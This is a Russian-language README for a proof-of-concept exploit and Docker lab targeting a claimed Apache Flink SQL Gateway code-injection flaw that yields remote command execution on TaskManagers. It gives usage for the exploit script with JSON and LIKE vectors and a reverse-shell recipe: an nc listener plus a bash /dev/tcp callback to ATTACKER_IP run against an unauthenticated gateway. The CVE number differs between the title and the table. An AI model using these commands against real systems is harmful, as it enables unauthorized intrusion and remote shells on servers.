
Proof-of-concept exploit and lab environment for CVE-2026-25194
Удаленное выполнение кода на TaskManager'ах Apache Flink через инъекцию в генерацию SQL-кода.
| CVE | CVE-2026-35194 |
| CVSS | 8.1 (Высокий) |
| CWE | CWE-94 — Инъекция кода |
| Затронутые версии | Flink 1.15.0 – 1.20.3 / 2.0.0 – 2.2.0 |
| Исправлено в | 1.20.4 / 2.0.2 / 2.1.2 / 2.2.1 |
| Вектор атаки | REST API SQL Gateway (порт по умолчанию 8083, без аутентификации) |
docker compose up -d
Подождите ~30 секунд, пока кластер запустится. Будут запущены два сервиса:
http://localhost:8081http://localhost:8083Проверьте:
curl -s http://localhost:8083/v1/info
# Должна вернуться версия "1.20.3"
pip install requests
JSON-вектор:
python3 exploit.py localhost -p 8083 -v json -c "id > /tmp/pwned"
LIKE-вектор:
python3 exploit.py localhost -p 8083 -v like -c "id > /tmp/pwned"
Только проверка версии (без RCE):
python3 exploit.py localhost -p 8083 --check-only
Проверка выполнения команды на TaskManager:
docker exec flink-taskmanager cat /tmp/pwned
# Терминал 1 — слушатель
nc -lvnp 4444
# Терминал 2 — эксплойт
python3 exploit.py TARGET -p 8083 -v json \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
usage: exploit.py [-h] [-p PORT] [-c COMMAND] [-v {json,like}]
[--check-only] [-t TIMEOUT] [--cert CERT] [--key KEY] [--ssl]
target
Options:
target Целевой хост (IP или имя хоста)
-p, --port Порт SQL Gateway (по умолчанию: 8083)
-c, --command Команда оболочки для выполнения на TaskManager
-v, --vector json (по умолчанию) или like
--check-only Только проверка версии, без эксплойта
-t, --timeout Таймаут запроса в секундах (по умолчанию: 30)
--cert / --key Клиентский сертификат + ключ для сред с mTLS
--ssl Принудительное использование HTTPS
Только для авторизованных исследований безопасности и образовательных целей.